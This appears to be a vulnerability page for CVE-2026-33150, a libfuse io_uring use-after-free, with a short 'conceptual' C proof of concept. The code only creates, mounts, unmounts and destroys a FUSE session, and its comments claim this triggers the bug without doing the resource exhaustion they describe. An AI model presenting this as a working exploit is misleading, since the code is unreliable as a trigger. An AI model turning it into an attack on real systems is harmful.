CVE-2026-33150 libfuse io_uring释放后重用漏洞

// Conceptual Proof of Concept for CVE-2026-33150 // Trigger condition: Resource exhaustion leading to io_uring thread creation failure. #include <fuse3/fuse.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> static const struct fuse_operations oper = {}; int main(int argc, char *argv[]) { struct fuse_args args = FUSE_ARGS_INIT(argc, argv); // Simulate resource exhaustion to trigger the bug // In a real container, hitting pids.max causes fuse_uring_start to fail printf("Attempting to trigger resource exhaustion...\n"); // Create FUSE session struct fuse_session *se = fuse_session_new(&args, &oper, sizeof(oper), NULL); if (!se) { perror("fuse_session_new"); return 1; } if (fuse_session_mount(se, "/tmp/fuse_test") != 0) { perror("fuse_session_mount"); return 1; } printf("Session started. Trigger cleanup to cause UAF...\n"); // Cleanup triggers the use-after-free on the dangling pointer fuse_session_unmount(se); fuse_session_destroy(se); fuse_opt_free_args(&args); return 0; }